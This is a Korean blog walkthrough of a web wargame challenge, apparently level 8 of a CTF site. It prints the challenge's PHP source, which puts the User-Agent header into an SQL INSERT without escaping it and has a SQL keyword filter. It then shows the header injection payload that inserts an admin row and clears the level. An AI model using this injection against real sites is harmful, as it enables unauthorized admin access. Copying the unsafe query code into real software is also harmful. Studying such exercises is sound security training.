문제는 여전히 어이가 없게 생겼다.
소스보기를 하면 index.phps를 보라고 한다.
<? $agent=getenv("HTTP_USER_AGENT"); $ip=$_SERVER[REMOTE_ADDR]; $agent=trim($agent); $agent=str_replace(".","_",$agent); $agent=str_replace("/","_",$agent); $pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/"; $agent=strtolower($agent); if(preg_match($pat,$agent)) exit("Access Denied!"); $_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]); $_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]); $count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0")); if($count_ck[0]>=70) { @mysql_query("delete from lv0"); } $q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'"); $ck=@mysql_fetch_array($q); if($ck) { echo("hi <b>$ck[0]</b><p>"); if($ck[0]=="admin") { @solve(); @mysql_query("delete from lv0"); } } if(!$ck) { $q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error"); echo("<br><br>done! ($count_ck[0]/70)"); } ?>
장황한 PHP 코드가 적혀있다.
그런데 시작부터 모르는 함수가 나왔다. getenv("HTTP_USER_AGENT")는 어떤값을 출력할까?
찾아보니 $_SERVER['HTTP_USER_AGENT']; 와 같다고 한다...... -_-
어쨌든 출력값은 다음과 같다.
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
나는 Firefox / windows10을 사용하고 있는데 요녀석들이 크게 의미는 없는것 같다.
이후 과정에서 trim과 .와 /를 _로 처리하는 과정이 있고, 다양한 과정을 통해 필터링하고 있다.
일반적인 브라우저 접근으로는 절대 걸리지 않을만한 내용들이다.
하지만 초점을 맞춰야되는건 그게 아니고, 가장 아래줄인 insert 하는 부분이다.
agent 와 ip를 입력받는 부분인데 agent 값을 속여 다음과 같은 형태로 만들것이다.
insert into lv0(agent,ip,id) values ('식별자','ip','admin'), ('....
이경우 무조건 1번 인덱스를 읽도록($ck[0]) 되어 있기때문에 나에게 어드민권한을 내려줄것이다.
이렇게 raw data를 조작한다.
User-Agent: "fantazm','1','admin'),('2
이렇게 하면 서버는 유저입력을 원래 agent값을 넣는게 아니라 fantazm이라는 값으로 admin과 함께 넣어준다.
<br><br>done! (59/70)
이후에 agent를 fantazm 으로 수정하여
User-Agent: fantazm
날려주면 피니쉬.
hi <b>admin</b><p><script>alert('Congratulation!');</script><center><h1><br><br><hr><font color=gray>You have cleared the 8 problems.</font><br><br><font color=green><b>Score + 350</b></font><br><hr></h1>